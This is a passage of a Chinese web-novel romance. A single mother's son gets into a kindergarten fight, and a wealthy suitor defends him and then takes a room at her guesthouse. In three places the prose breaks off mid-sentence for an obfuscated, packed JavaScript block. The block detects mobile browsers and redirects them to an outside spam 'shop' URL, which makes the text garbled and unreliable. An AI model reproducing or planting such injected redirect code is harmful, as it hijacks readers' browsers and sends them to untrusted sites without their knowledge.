“…”Emma笑着朝他眨眨眼睛。 梁珞唯从见到Anna和一个小女孩走过来的那一刻，就知道自己会错意了。身边这个小兔崽子根本不是Anna要领养的孩子。 虽然不知道这小子到底是谁家的，但短暂相处下来，那些因为听到“孩子”两个字而升起的烦躁，竟不知不觉间消散了大半。 他给两个宝贝让出座位，走向Anna：“我来找你拿行李。” “这么快？”Anna快速观察了一下他的状态，比刚下飞机时要好很多，“Mike的治疗结束了？” 按照以往的速度，梁珞唯每次在诊室的时间至少要4个小时，这也是为什么她没有着急处理他的行李。 梁珞唯拍了拍羽绒服的下摆，随意道：“他临时出差，要几天后才回来。” “你要等他？”Anna看着梁珞唯波澜不惊的脸，惊讶于他居然不怎么着急。 梁珞唯回头看了一眼餐车，又看看教堂：“这边风景确实不错，Mike让我多接触大自然，就当散心了。” Anna点点头，掏出车钥匙，走向高尔夫：“既然是散心，还住以前那家酒店？” 后备箱弹开，梁珞唯上前将箱子取出：“虽然经常来，但确实没住过其他地方。” “教堂后面比这边还要热闹一些。”Anna指指自己来的方向，“后面有教会的福利院，也有公立幼儿园，中国人挺多，有几家民宿网上评分还可以，如果你想感受，可以去逛逛。” 提起民宿，正给Emma端可乐的Toby有话说。 他看着梁珞唯身边的箱子，转了转眼睛：“梁叔叔，你没有住的地方吗？” 梁珞唯不知怎么想起那只叫Toby的边牧，于是鬼使神差地，居然想看看他到底在耍什么花样：“没有，你要带我回家么。” “住我家。”Toby开心地打开胸前的红色小包包，从里面掏出两张宣传单，其中一张掉在地上，他也顾不上去捡，哒哒哒地跑到梁珞唯腿边，“给。” Anna笑着说：“我都忘了Toby家也开民宿了。但是小家伙，你家大人不在，不可以随便领陌生人回去哦。” Toby想说Anna的朋友不是陌生人，况且梁叔叔长得那么好看，怎么可能是坏人。不过想到妈妈对自己的告诫，也只好乖巧点头，嘴角向下耷拉着看向梁珞唯：“梁叔叔，很遗憾。” 梁珞唯被这小大人逗笑了，他接过传单，又蹲下捡起地上那张，顺势给Toby整理了一下衣服：“住你家就算了，不过一起踢球的事…可以考虑。” Toby瞳孔骤然放大，随即抓住梁珞唯的小臂蹦了几下：“好耶！” “哎呦，我也很遗憾！”身后餐车里一直听着的赵老板叹了口气，幽怨地说，“白瞎我的烤肠和可乐了。” 坐在一旁抱着可乐的Emma听到这话，默默多喝了一大口。 * 孟婧从机场打车回家，下车时，正碰上管家周阿姨刚买菜回来。 她叫了一声：“周姨。” 周阿姨年轻时和爱人一起出国打工，后来爱人因病去世，她也不愿回国，就留在这边做华人家政。 她膝下无子，对孟婧和Toby视如己出，再加上为人实诚，干活利落，三个人这些年也算是相依为命。 周阿姨看见孟婧，菜篮子差点掉在地上：“阿婧！你怎么回来了？” 孟婧做事一向有规划，离开和归来必定都会提前告知，好让人准备，从来做不出突然袭击这种事。 “Toby的签证有点问题，需要我亲自去一趟。”孟婧声音发虚，抬头看了看，“他人呢？” “街口小赵帮忙看着呢，他刚给我发了信息，孩子和Emma去看电影了，一会儿Anna开车送回来。” “先操心操心你自己吧。”周阿姨皱着眉，摸了摸孟婧的额头，“是不是生病了？脸色这么差。” “不碍事，有点感冒。”孟婧一路上盼着回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周阿姨皱眉劝她：“你啊，现在就该吃了药好好睡一觉，其他的都不要想。” “是得睡一觉，下午Toby幼儿园还有个家庭足球赛，我想给他个惊喜。” “你这小身子骨没准还不如孩子。”电梯到了四层，周阿姨扶孟婧回房，“放心吧，好几个叔叔都抢着去呢，这都多少回了，每次也轮不上你。” “周姨。”孟婧嘟着个嘴，“人艰不拆。” 回到熟悉的房间，孟婧整个人放松下来，洗澡换了睡衣，躺在熟悉的大床上，放松地看着四周的摆设。 化妆台，穿衣镜，堆在角落的复习资料，散落在婴儿床上的玩具。 原以为回国后才算回家，没想到这里才是她的舒适圈。 吃了感冒药，意识逐渐放空，床头的熏香散发出熟悉而柔和的味道，让人不自觉闭上眼睛。 孟婧努力让自己不去想其他，尝试沉浸于一个女人在异国的独自享受，她是孟婧，不是谁的妻子，不是谁的母亲，不是谁的员工或老板。 此刻，她只是她自己。 这一觉睡得极为安稳，她梦到了一些小时候和外公相处的片段，整个人被爱包裹着，松弛、自由。 直到一通电话将她叫醒。 “喂。”孟婧眯着眼，看到窗外天色已经暗下。 “喂，Toby妈妈么？我是白老师。” 孟婧看了一眼电话，是Toby幼儿园的老师。 “周阿姨说您回来了，所以我才打扰…” 听筒中传来小孩子的哭声。 孟婧心中一沉，从床上坐起来，哑着嗓子问：“出什么事了？” “也不是什么大事…”白老师支支吾吾，“家庭足球赛刚刚比完，Toby和别的孩子打起来了…” 48. 第四十八夜 威斯圣伯幼儿园是当地历史最悠久的幼儿园，名字取自其几百米外的威斯圣伯大教堂，前身是教会福利院。 经过百年历史，教会福利院规模逐渐扩张，后来分裂成了公立幼儿园和教堂福利院。因为历史遗留问题，每年，幼儿园都会有四分之一的招生名额给到福利院。 孟婧当初为Toby选择幼儿园时考察过，可能因为这些年教堂被宣传成了一个网红景点，连带着福利院的投资人也变得多了。经费充足，不仅孩子们的生活很好，每年慕名来领养的家庭也越来越多。 由于福利院的孩子身份特殊，威斯圣伯幼儿园对于社会上的招生也尤其严格，学生入学之前，还会有专门的课程交会小朋友们如何正常相处，因此即便Toby没有父亲，在园中也算不上异类。 入学一年时间，Toby被教得很好，每天和小伙伴们玩得超级开心。福利院的小朋友们没有家，平时住在幼儿园里，有时候Toby玩疯了，也会求老师留宿。 孟婧生产之前的记忆是空白，一切的育儿知识都是产后重新学习的，后来又忙于上学和工作，因此对于Toby的教育一直秉承着抓大放小的原则。 她对Toby的品德和礼仪都有着严格要求，至于挑食贪玩之类，倒不会过多干涉。 不知是教育方式使然，还是孩子天生带着高情商的基因，Toby从懂事起就是个小绅士，虽然话多，但胆子并不大，在幼儿园从来没有和其他小朋友起过冲突，至于被请家长，更是第一次。 她既不相信Toby会因为一个小小的比赛而伤人，也不相信他会任由其他小朋友欺负。 话虽这么说，但她没有去参加活动，甚至不知道自己的孩子是一个人比赛还是有其他叔叔陪着，实在是太不称职。 幼儿园离家很近，孟婧挂掉电话匆匆出门。路上遇见几个熟悉的邻居，其中也有孩子刚参加完足球赛的，孟婧简单问了一下情况，大家都表示活动很顺利，没有人受伤。 难道不是因为球赛起的冲突吗？ 她从小就是好学生，没见过被老师请家长的场面，如何安慰孩子，问出事情真相，怎么和老师沟通、如何面对对方家长，一切都是未知。 太阳开始西斜，孟婧纤长的身影在绿荫草地上掠过，看到远处的几个人影，脚步逐渐放缓。 足球场的小看台上坐着几个人，有白老师、Toby和另一个不认识的小男孩，两个小孩儿手拉手并肩坐着，看不清表情。 “Toby！”孟婧小跑几步，朝看台上挥手。 “阿婧！”Toby站起身，朝孟婧嗒嗒跑过去，“阿婧回来了！” Toby眼睛和鼻头都红红的，跑到孟婧近前时，狠狠抱住她的小腿：“阿婧！Toby好想你！呜呜呜…” 圆圆的大眼睛里藏着小珍珠，被纤长浓密的睫毛挡住，将落不落，惹人生怜。 孟婧很少见他掉眼泪，心疼得不行，忙蹲下来仔细检查，好在粉白色的小脸上除了泥土和汗渍，倒是看不出什么伤口。 孟婧轻轻捏捏Toby的四肢，看着他的反应，满眼关切地问：“这里，还有这里，有没有受伤？” “不疼。”Toby一抽一抽地伸出右手，摊开掌心，露出一个米奇创可贴，“这里流血，白老师治好了。” 孟婧吹了吹他的手心，摸着小卷毛，问：“到底怎么弄的？告诉妈妈。” 无论如何，她想先从Toby口中听到真相。 看到妈妈很开心，内心的安全感足足的，这时提起委屈的事，Toby彻底崩溃了，还没说两个字，就哇哇哭起来。 眼泪把脸上的泥都冲掉不少。 “刚刚已经和解了。”白老师领着另一个孩子走下来，站到两人面前，用英语解释：“Emma有个蜘蛛侠玩具，在看台上玩的时候被Allen看到想要抢，Emma不给，Allen就说了一些不好的话。” 那个叫Allen的男孩是个本地人，听不懂中文，也不知道Toby和妈妈说了什么，他躲在老师身后，小声说：“都是我的错，对不起。” 孟婧看看Allen，表面上也看不出受了什么伤，她问Toby：“你打他了吗？” Toby的眼泪稍稍止住，断断续续地说：“我…我去抢玩具，Allen在后面追，跑的时候摔…摔倒了。” 白老师指指Allen的脚：“扭到了，但喷过药，已经消肿了。” 白老师是个亚裔混血，虽然听得懂孟婧两人的对话，但幼儿园要求工作时间必须说英文，为的就是公平公开。 于是孟婧也用英文问：“既然只是孩子间的玩闹，为什么要说得那么严重？” 老师面色古怪，一副欲言又止的样子：“孩子之间的事情是解决了，但是大人的事…” 孟婧的脸立马冷下来：“老师，明明是Allen先动手的，我儿子见义勇为，Allen自己摔倒受伤，家长不送去治疗，找我做什么？” “不是的。”Toby用脏脏的袖子抹了一把脸，彻底成了个小花猫，“刚才Allen爸爸很生气，他说的话我听不懂，但是梁叔叔听懂了，梁叔叔就打他。” “梁叔叔？”孟婧皱眉，“是街角书店那个梁叔叔吗？” 那位梁先生是个文人，经常让Toby在店里看漫画书，但踢足球，还跟别的家长打起来这种事…怎么看也不像他能做的。 “不是。”Toby不知道怎么形容，皱眉想了半天，才蹦出来一句，“嗯…梁叔叔是Anna的男朋友。” 他是Anna去机场接回来的人，接机牌上还画了红色爱心，阿婧说过，爱心是男女朋友才可以画的。 孟婧的气生到一半，愤怒逐渐被疑惑取代。 她认识Anna，在小镇旁边的一个产业园区工作，很斯文的一位独立女性，事业有成，家底丰厚，有意向领养Emma，并且已经和她接触了大概半年的时间。 这片区域不大，华人也多，住久了什么消息都能打听到一点，正是因为这样，当孟婧知道Anna带着Emma和Toby去看电影的时候，才会那么放心。 “老师，既然事情和Emma有关，打架的又是他们两家的家长，和我们有什么关系？” Toby ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376147|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听她这么说，不乐意了：“梁叔叔是来陪Toby踢球的，不能不管，阿婧，梁叔叔也受伤了。” 孟婧拿出纸巾，耐心给他擦着脸：“放心吧，他是Anna的男朋友，Anna会去处理的。” Toby摇摇头：“那我也要去看看梁叔叔再走。” 球赛结束后，Toby发现坐在看台上的Allen在抢Emma的玩具，他很着急。梁叔叔告诉他，要勇敢保护女朋友，还把他直接抱到看台上，这才能来得及阻止Allen的不绅士行为。 梁叔叔是好人，Toby不可以见死不救。 孟婧彻底无奈，这孩子长相随自己，胆子小随自己，就连着倔强也是和她小时候一模一样。 只能顺着来。 孟婧站起身：“白老师，带我去见见他们二位？” “好的好的，谢谢你的理解。两位男士挂了彩，正在医务室包扎，我怕孩子看见血不好，所以带他们出来等你的。” 孟婧点点头：“那Emma呢？没受伤吧？” “没，就是受了点惊吓，被带回去休息了。那孩子胆子本来就小，出事时Anna有事离开把她交给老师了，说到底我们也有责任。” 小孩子间闹矛盾是常有的事，只要不触及底线，不受伤，孟婧并不会太过介怀。她刚刚回来，身体还病着，虽然睡了大半天，还是感觉大脑发沉，拢不住思绪。 所以当她在医务室见到梁珞唯的时候，是真的以为自己还在梦中。 男人身穿一身潮牌运动套装，懒散地坐在窄小的椅子上，因为长时间运动，发丝微微垂下，却依旧挡不住他锋利的眉眼。 孟婧内心慌乱了一拍，来不及去想他为什么会出现在这里，只是下意识地拢了拢自己刚睡醒的长发，将齐膝的毛呢外套裹紧，手在兜里放着又拿出来，如此反复。 梁珞唯在众人进门前正在看手机。 裴燃知道他擅自出国以后差点疯掉，公司里的很多事情等着决定，虽然飞机上已经处理了大部分，但耽误的一下午时间，依旧浪费得有些奢侈。 其实他也不知道为什么会出现在这里，莫名其妙踢了一场足球，还和一个金毛男人打了一架。 Mike说的不对，对于排解内心焦灼这件事，接触大自然没有见义勇为来得痛快。他现在神清气爽，处理工作效率都高了许多。 “梁叔叔！”Toby挣脱孟婧的手，跑到梁珞唯腿边，关切地看着他贴着纱布的手背，“梁叔叔，还疼吗？” 梁珞唯没抬头，将手举到他的小嘴边上，语气像坐姿一样懒散：“给我呼呼就不疼了。” “阿婧呼！”Toby脸上笑出酒窝，看看妈妈，再看看梁叔叔，“阿婧呼完就不疼啦。” 像是为了证明自己没有骗人，他还亮出了自己手心的米奇创可贴。 梁珞唯用受伤的手撸了一把他的小卷毛，边抬头边笑着问：“谁是阿婧？” 视线交错，撞上那双如水的眸子。 孟婧觉得一切都很神奇，但又有点憋闷，她将脸冷下来，移开目光问：“Toby，他就是Anna的男朋友？” 49. 第四十九夜 梁珞唯看着孟婧，眼神复杂。 惊讶、惊喜、惊艳，或许还有一瞬间的不敢置信。 女人发丝凌乱地披在身后，未施粉黛，却因为生病，脸颊带着薄薄一层粉红。 毛呢大衣的V领露出里面的雪白色蕾丝睡裙，被环抱着的双臂挤出褶皱和阴影，大衣下摆露出纤细白皙的小腿，脚上踩着一双羊毛拖鞋。 梁珞唯甚至想象了一下孟婧下飞机后发生的事情——在飞机上刚刚用药物强制退烧，回家后不得不休息，睡梦中接到幼儿园的电话，连衣服都来不及换就慌乱出门。 他不是没有想过，会在这个城市和她偶遇，但那毕竟是小概率事件，根据以往来这边治疗的行程，他甚至没有去过诊所和酒店以外的地方。 所以是天意吗？让他们遇见，还让他和她的儿子一起相处了这么久。 他早该发现的，Toby让人心生好感的眉眼，活脱脱和孟婧一个模子里刻出来的，亏他还自我怀疑为什么会莫名其妙对一个孩子心生亲近，原来一切都有原因。 想到这里，梁珞唯心中又开始泛起悔意。如果过去几年在治疗之后去附近转一转，是不是早就能和她们相遇。 Toby不懂大人心事，只会认真回答孟婧的问题，却阴差阳错当地将气氛变得更加诡异：“嗯！阿婧，梁叔叔是Anna的男朋友！我们今天一起踢球，得了第三名！” 孟婧上前将他拉回来，悉心教导：“宝贝，妈妈不认识这位叔叔，所以不可以帮他呼呼。” 说完，才敢抬头看了一眼梁珞唯。 对方眉心挤成川字，像在思考什么，全然不像刚才那般松弛。 原来面对同样的一个孩子，身份从陌生人转变成她的儿子，会让他这么为难。 她心里一沉，暗自苦笑。都这样了，应该不会再说什么新郎必须是他的鬼话了吧。 “我不是Anna的男朋友。”梁珞唯反驳Toby的话，眼睛却看着孟婧，“孟小姐，我单身。” 虽然表情认真，但能从语气中判断出情绪。 直觉告诉孟婧，他不开心。 “我对您单不单身不感兴趣。”孟婧抿着嘴，看向医务室的里间，“Allen爸爸？我是Toby的家长，是您要找我吗？” 听到外面的声音，校医带着一位脸上青紫的金发男人从里面走出来。 “是我让他找的。” 梁珞唯站起来，比对方足足高出半头，自带压迫感：“我不知道你是这小子的家长，要是早知道…” “不要过来！”金发男人看他靠近，瞬间弹开：“我都已经答应你了，你不可以再使用暴力！” 身后的白老师看到孟婧也被吓了一跳，帮忙解释：“既然大家都在这里了，我来说一下事情的经过吧。” 孟婧回头看她。 白老师咽了咽口水，也暗自站得离梁珞唯远了些。 “刚才两个孩子打架，Allen爸爸说了一些…对Toby和你不好的话，虽然小孩子听不懂，但是大人还是能听懂的。” 白老师看向梁珞唯：“这位先生听到后很生气，直接出手打了Allen爸爸，并且要求他给Toby和他的家人正式道歉。” 原来是这样。孟婧松口气的同时，又担心起孩子的心理健康。 不用问也知道Allen的父亲说了什么，嘲笑Toby没有父亲，或者说他的妈妈是个中国人的情妇，怀孕后拿了一大笔钱被人扔到国外生活，如此之类。 孟婧刚刚买下那栋房产的时候，关于她的奇怪言论就开始在街上流传，生下Toby又失忆后，传言就变得越来越离谱。 中国人爱看热闹、爱八卦的心态在哪里都不会磨灭，但孟婧那时候要忙的事实在太多，这些流言也是到Toby会走会说之后，才慢慢传到她耳朵里。 每当这个时候，她会很庆幸自己真的什么都想不起来了——因为失忆，所以不存在对孩子父亲的怨怼，也不存在对现实生活的不满。 Toby像是从天而降的恩赐，也是她生命中最大的惊喜，正因如此，那些带着恶念的话语无法伤害她分毫。 但孩子不一样。 孟婧将Toby的小手递到白老师手中：“麻烦带两个孩子出去玩一会儿，我们大人之间谈谈。” “这样最好。”白老师也松了一口气，“宝贝们，我们去看夕阳好不好。” 直到三人出了医务室，孟婧才看向梁珞唯：“麻烦梁先生也出去吧。” 梁珞唯挑眉：“怎么，孟小姐又认得我了？” 孟婧咬了咬牙，转头看向Allen的父亲。 这个男人和孟婧差不多高，体型壮硕，虽然看起来不像好惹的，但偏偏脸上挂了彩，鼻梁、眼窝都是青紫，嘴角还挂着血。 “Sandra，我向你道歉，不应该和Toby说那样的话。”他眼里尽是胆怯和愧疚，“我知道他听不明白才故意说的，只为发泄情绪，不是真想伤害他…” 他没敢主动坦白都说了些什么，生怕身边这个高大男人再给自己一拳。 孟婧当然也不想再听一遍难听的话。 “Allen爸爸，我接受你的道歉，但是有件事情我想提醒你。”她面色严肃，“这所幼儿园和其他幼儿园不一样。” Allen父亲自然知道孟婧指的是什么。 孟婧继续说：“小孩子都会模仿父母的言行，如果您连自己都不约束不了，孩子只会越来越无法无天，长大后，就不是抢小朋友玩具这么简单了。” 她指指梁珞唯：“今天梁先生虽然表达方式比较暴力，但传达的意思和我刚才说的是一样的，希望您回去可以好好教育Allen。” “我会的，谢谢你。”男人低下头。 孟婧没有再说什么，给梁珞唯使了个眼神，意思是他打了人，怎么也得道个歉，台阶她都给铺好了。 可是梁少爷这辈子需要道歉的人很少，自然不会施舍给眼前这个金毛，他留下一句“别让我再看见你”，便搂着孟婧的肩膀出了门。 肩膀突然被灼热包裹，孟婧意外到腿软，险些撞进梁珞唯的怀里，：“你…你干什么！” “孟小姐穿太少了，帮你暖暖。”梁珞唯搭在她肩上那只手环住去摸她的额头，“烧还没退？” 孟婧一把拍开他的手，将长发捋到身后：“我和梁先生什么时候开始可以这样了。” 梁珞唯倒也不坚持，将手放回自己大衣口袋，表情松散：“孟小姐在飞机上对我做的事情更过分吧。” 飞机上，她双臂勾过来的时候，他仿佛失去了思考的能力，再回神时，她已经几乎要吻到他的唇，一切动作都发生地无比自然，让他怀疑，孟婧是否是将他认作别人。 可她叫的明明是他的名字。 孟婧快走几步：“我那时候烧糊涂，不记得了。” “是么。”梁珞唯在她身后提醒，“你死死抱着我的脖子，还要亲…” “梁珞唯！”孟婧蹦着跺了两下脚，回头看他，“我的情况你也都看见了，这样也好，事实摆在眼前，也省得再费口舌。我想，我们没有再见面的必要了。” 梁珞唯早料到她会这么说，走近问：“理由？” “理由…还需要我说吗？”孟婧觉得他在明知故问。 两人已经走回到操场上，远处是两个孩子玩闹的身影，孟婧面对夕阳，暖红色的光线刺得她眼眶发酸。 如果早晚有这么一天，长痛不如短痛。 她眯着眼抬头：“我是孟家私生女，二十出头的单身母亲，现在是没有工作的社会闲散人士，我配不上你堂堂梁家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388897|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二少爷，也害怕我的孩子会因此受到伤害，这个理由你满意吗。” 她一字一顿地牢牢看着他，两人在无声中对视了很久很久。 当眼角的湿润就要抑制不住的时候，男人灼热的拇指覆上去，将泪水抹掉，就像在飞机上时那样。 走近又退开，梁珞唯微微低着头，目光中是和孟婧一样的执拗。 “第一，我从小就是京城的笑柄，孟小姐应该也有所耳闻。嫁给我确实会引起非议，大概是我配不上你更多。” “第二，你毕业高等院校，履历漂亮，我在合同里也写了，婚后会让你接管沈氏集团，虽然实际控制人是我，但日常管理和经营都是你来，想做闲散人士都不行。” “第三，我和Toby相处很愉快，孟小姐完全可以在合同里增加相关条款保障他的利益。但有一点你要知道，不管嫁给我与否，孩子成长过程中的伤痛无法避免，今天的事情就是实例。” 梁珞唯认真看着孟婧的眼睛。 “如果Toby的亲生父亲可以出现在这里，并且能够保证你们未来的生活，我无话可说，问题是，他在哪儿！？” 孟婧心里难受，他又何尝不是？Allen父亲说的那些屁话，放在陌生人身上他尚且忍受不了，一想到说的是孟婧，他恨不得再把他另一只眼打残。 “艹！”他越想越气，忍不住转身来回踱步，将滚落在脚下的皮球踢出很远。 夕阳下，只剩孟婧一个人站在原地消化梁珞唯刚刚输出的一段又一段，连Toby跑到跟前都没发现。 Toby从远处就看到两人的争执，皱着小眉头问：“阿婧和梁叔叔吵架了吗？” 梁叔叔看起来好凶。 孟婧将大衣裹好，却依旧觉得冷，她将手挫热，牵起Toby，吸了吸鼻子：“没有吵架，妈妈刚才就是，就是谢谢梁叔叔帮Toby拿到第三名，还帮Toby保护Emma。” Toby将手挣开，又小跑了几步去问梁珞唯。 男人没有回答他的问题，但面色总算稍有缓和，在他脸上轻轻捏了几下：“回家吧，都成泥猴子了。” Toby有些不舍，拽着梁珞唯的衣角纠结地问：“那…那Toby还能再和梁叔叔一起踢球吗？” “你想吗？” “想！” “那叔叔告诉你一个秘密好不好。” “好！” 孟婧做了几个深呼吸，看着草坪上低头耳语的一大一小，眼眶再次酸涩。 又过了一会儿，Toby咯咯乐起来，梁珞唯揉了一把他的卷毛，起身和孟婧说：“外面冷，回家吧。” 孟婧点点头，没再多问。 虽然梁珞唯已经将她所有的理由击碎，但也并不能在短时间内改变她的想法。 曾经觉得自己已经被磨炼得不会再感情用事，现在看来，在亲密关系方面，她还是个小白。 回家路上，Toby格外高兴，拉着孟婧去了书店、面包房、超市和文具店。孟婧心疼他今天受伤，又觉得在国外生活的日子所剩无几，何不放纵一次，于是破天荒地满足了他所有要求。 待两人到家，已经是晚饭时间。 厨房的灯亮着，烤箱中飘来烤肉香味，台面上摆着已经备好的菜，却不见周阿姨的身影。 孟婧将大包小包的购物袋堆在玄关，顺着楼梯往上喊：“周姨！求助！” “我在这我在这。”周姨从一层那个刚空出来的客房里探出头。 “阿婧，临时来了个新房客。”周阿姨小声说，“我在办入住手续，不如你来替我，我去做饭。” “房客？”孟婧皱眉拿出手机，“新订单吗？我怎么没收到平台邮件。” “没在平台订单里。”周阿姨笑笑，“他说是看到宣传单才过来的。” 50. 第五十夜 因为一直在筹备回国的事情，孟婧最近没有在民宿平台的宣传上做投入。秋冬是旅游淡季，按说除了回头客，很少会有新人上门。 “我去办。”她按了电梯，“先让客人住下，我换身衣服就过来。” 出门走得急，她的蕾丝睡裙忘了换，直接裹在了外套里面，虽然这种装扮也算是种时尚穿搭，但和她平日的穿衣习惯不符，怎么都别扭。 刚才在外面，她一直紧紧裹着外套，腰都被勒细了半圈。 “好的好的。”周阿姨说，“菜都准备齐了，都是你爱吃的，半小时后开饭。” 电梯上行，孟婧看着镜子中自己苍白的脸和略显凌乱的发型，颓然地叹了口气。 不知怎的，从幼儿园离开之后的每一秒，她的大脑中都在高速回放梁珞唯说的那些话。 她承认，梁珞唯的反驳有些道理，但对于Toby亲生父亲的那些言论，她不敢苟同。 即使失去一段时间的记忆，她也是这个世界上最了解自己的人。虽然从小到大渴望被爱，却从未对谁真正动心，不然，大学四年间追求者那么多，想谈恋爱是一件太容易得事。 其次，林屿也说了，孩子是她坚持要生下来的。按照她的性格，如果真的遇到渣男，肯定不会把这个孩子留下。既然当时决定生，就必然是对那个男人用情至深。 如果真的嫁给梁珞唯，有一天记忆恢复，发现犯下了不可挽回的错误，她要怎么办？ 她曾深爱一个男人，最终却和另一个人结婚… 可从另一个角度想，协议只有三年，三年后，她还是自由人。 “Suprise！”Toby是跑楼梯上来的，电梯门开的一瞬间就扑进孟婧怀中，“嘻嘻嘻，妈妈！我好想你呀！” 孟婧在大衣被蹭上泥之前撑住了他的肩膀：“宝贝，妈妈也很想你。但是回家第一件事是什么？” Toby做了个举手的动作，大声说：“洗手！” “乖。”孟婧牵住他的手，“但是你太脏了，今天要先洗个澡。” 这个四岁小男孩从几个月前就已经可以独立淋浴，趁着将他放进浴室的时间，孟婧换了套厚实的家居服。 珊瑚绒质地的淡黄色连衣裙，胸口秀了一只毛茸茸的立体猫爪，和及膝的地板袜是一套，搭配随意挽起的丸子头，清爽又减龄。 驻足衣柜，她又挑出几件没摘吊牌的裙子，叠好放在床边的地毯上。回国要收拾的东西太多，家里的童装都陆陆续续捐给了福利院，还有一些她自己的，也打算送人。 街道的邻里关系很好，大家每隔一段时间都会举办小型跳蚤市场，用于华人之间交换一些日常用品，最近的一次正好在明天。 孟婧本来是要托周阿姨把东西拿过去的，但是既然回来了，还是亲自和大家道别为好。 待到Toby洗完澡换好衣服，周阿姨已经在楼下叫人了。 小男孩光着脚在地毯上蹦着：“开饭开饭！” 孟婧这才突然想起那位被遗忘的房客。 两人下楼，孟婧拿起玄关的平板电脑：“周姨，我很快，你们先吃。” 说完便去敲响那个房间的门。 她用英语问了几句，里面没有人回应，周姨做了个“中国人”的口型，她这才又敲了几下：“您好，请问方便办理入住手续吗？” 又等了一会儿，房间内传来朦胧的一声：“进，门没锁。” 孟婧看了眼餐厅的方向，对着门说：“那我进来了。” 这是本层面积最大的房间，大约40平米的开间，面朝南，光线充足，还有个大飘窗，是所有旅客的首选。 孟婧原以为对方在飘窗处的休闲椅上坐着，所以说话才听不清，却没想到，黑漆漆的屋子里，亮着灯的却是卫生间。 刚才在门外虽然听不真切，但可以确定对方是个男人，孟婧往后退了一步，将平板电脑护在胸前：“您不方便的话，我半小时后再来。” “没什么不…”男人的声音因为门打开而变得清晰、磁性，“…方便的。” 熟悉的柑橘香气带着潮热从门缝中溢出，男人高大的身影在白雾中蒸腾，孟婧逆着光，可以看到对方脖颈躺下的水，经过锁骨，划过轮廓分明的胸肌和腹肌，再落入腰间缠着的毛巾中。 那毛巾甚至和刚才她给Toby擦身子的是同一款，围在小孩子身上像浴巾，围在他腰上…实在是太短，也太…涩了。 她知道，作为一个母亲，必然是什么都已经做过了，但问题是这该死的大脑没有给她留下任何经验，在她现有的记忆中，实在是没见过如此让人血脉喷张的画面。 “你…”她又退了几步，努力让自己看起来历尽千帆，“你怎么会在这…” 梁珞唯手上拿着另一条毛巾，胡乱擦了几下头发：“水温不太稳定，可能是热水器坏了，明天帮你看看。” 荷尔蒙的气息似乎化成实体，狠狠禁锢住孟婧的双腿：“梁…梁珞唯你，你，到底想干什么！” “没想干什么。” 他走得很慢很慢，但和孟婧之间的距离正在以肉眼可见的速度缩短。 “初到贵宝地，看到宣传慕名而来。老板，麻烦尽快办手续，我要休息了。” “办手续要拍照片，梁先生确定要裸着拍？”孟婧尽量使语气平静，并直视他的眼睛。 她不敢看别处，更不敢低头，因为身高差距，低头后的视线实在太过赤裸，即便两人已经接近陷入黑暗。 卫生间的灯光被梁珞唯宽阔的肩膀遮住，又从他劲瘦的腰线旁漏出一些，那上面的水珠晶莹剔透，反射着昏黄的光。 梁珞唯步步紧逼，企图从她的眼神中搜索到一丝慌乱和羞赧，以此来证明自己是不输旁人的。至于哪里不输、这个旁人是谁，他不愿多想。 可惜孟婧只是在发现住客是他时有所惊讶，之后便表现得极其淡定，似乎真的只是在单纯责备他的穿着不雅。 他内心升起烦躁，走快几步，直接把人逼到门边：“入住手续还需要什么？老板不如一次说清。” “求着我和你联姻不成，改强迫了？”孟婧咬紧牙根，“还是说，梁先生穷途末路，只能用这下三滥的美男计？” “美男计？”梁珞唯眼神认真，在黑暗中也能撩人心魄，“孟小姐喜欢什么样的？我努努力。” “可能有点困难，我喜欢斯文温柔的，最好没有肌肉，抱起来软一点，个子也不要太高，不然接吻的时候脖子会酸。” 梁珞唯停住脚步。 孟婧仗着他看不清自己发热的脸，狠下心继续说：“梁先生别忘了，我连孩子都生过了，什么男人没见过，别说你还裹着条浴巾，就算全…” “够了！”先承受不住的竟然是梁珞唯。 孟婧自知牛皮吹大，连忙抿住嘴。 没了衣衫遮掩，一个人的情绪很容易通过肢体漏出端倪，起伏的胸膛，颤抖的指尖，无一向孟婧展示着他的不快。 又过了几秒，梁珞唯朝孟婧伸出手臂。 孟婧下意识闭眼躲开。 耳廓处感受到他身体的灼热，预想的一拳没有落到脸上，孟婧睁眼，只听到啪地一声，房顶正中央的吸顶灯被点亮。 梁珞唯的手还撑在开关上，精壮的上半身赤裸裸展示在距离孟婧三十厘米的 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回到饭桌，周阿姨将一碗疙瘩汤摆到她面前：“阿婧，脸怎么这么红，是不是又烧起来了？” 孟婧用手背按了按两颊：“没，可能是着衣服太厚了，穿着热。” 周阿姨起身去找耳温枪：“那客人看着有点凶，没想到手续办得还挺快。” 孟婧坐下，拿起勺子拨弄了几下汤水：“还没办，他护照忘记放哪里了，正找呢。” “不会啊，我刚才看到他拿出来了。”周阿姨帮她测了体温，“37.2度，还是有点烧，多穿点好，闷汗。” 孟婧笑笑，摸了一把Toby的小卷毛：“我没事，咱们快吃吧。” “妈妈吃牛排！”Toby从自己碗里叉出一小块肉，晃着小胳膊，“生病了要喂饭。” 孟婧俯身吃进嘴里，做了个夸张表情以作回应。 